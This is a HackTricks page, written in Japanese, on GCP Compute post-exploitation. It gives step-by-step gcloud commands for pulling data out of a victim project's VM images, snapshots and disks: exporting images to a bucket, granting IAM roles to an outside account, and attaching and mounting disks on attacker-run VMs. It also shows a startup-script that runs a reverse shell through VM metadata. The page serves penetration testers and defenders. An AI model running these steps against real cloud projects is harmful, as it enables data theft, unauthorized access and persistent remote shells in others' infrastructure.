GCP - Compute Post Exploitation

Support HackTricks

Compute

ComputeとVPC(ネットワーキング)に関する詳細情報は、以下を確認してください:

Export & Inspect Images locally

これにより、攻撃者は既存のイメージに含まれるデータにアクセスしたり、実行中のVMの新しいイメージを作成して、実行中のVMにアクセスせずにそのデータにアクセスすることができます。

VMイメージをバケットにエクスポートし、その後ダウンロードしてローカルにマウントすることが可能です:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

このアクションを実行するには、攻撃者はストレージバケットに対する権限が必要であり、確実にcloudbuildに対する権限が必要です。これは、エクスポートを実行するように求められるサービスです。 さらに、これが機能するためには、codebuild SAとcompute SAが特権的な権限を持っている必要があります。 cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com は以下の権限が必要です:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

そして、SA <project-id>-compute@developer.gserviceaccount.com は以下の権限が必要です:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

スナップショットとディスクをローカルにエクスポートおよび検査する

スナップショットとディスクを直接エクスポートすることはできませんが、スナップショットをディスクに変換し、ディスクをイメージに変換することは可能であり、前のセクションに従って、そのイメージをエクスポートしてローカルで検査することができます。

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

VMを作成してイメージを検査する

攻撃者がイメージを作成した場所からイメージに保存されたデータ実行中のVMにアクセスすることを目的として、外部アカウントにイメージへのアクセスを付与することが可能です:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

そして、それから新しいVMを作成します:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

もし画像に対して外部アカウントのアクセスを与えられなかった場合、被害者のプロジェクトでその画像を使用してVMを起動し、メタデータにリバースシェルを実行させることで、パラメータを追加して画像にアクセスすることができます:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

スナップショット/ディスクをVMにアタッチして検査する

ディスクまたはスナップショットに保存されたデータにアクセスすることを目的として、スナップショットをディスクに変換し、ディスクをイメージに変換し、前の手順に従うことができます。

または、外部アカウントにディスクへのアクセスを付与することができます(出発点がスナップショットの場合は、スナップショットへのアクセスを付与するか、そこからディスクを作成します):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

インスタンスにディスクをアタッチする:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

ディスクをVM内にマウントします:

  1. VMにSSH接続

gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. ディスクを特定:VM内に入ったら、ディスクデバイスをリストして新しいディスクを特定します。通常、/dev/sdb/dev/sdcなどとして見つけることができます。

  2. ディスクをフォーマットしてマウント(新しいまたは生のディスクの場合):

  • マウントポイントを作成:

sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • ディスクをマウント:

sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

もしスナップショットやディスクに外部プロジェクトへのアクセスを与えることができない場合スナップショット/ディスクと同じプロジェクト内のインスタンスでこれらの操作を実行する必要があるかもしれません

HackTricksをサポート

Last updated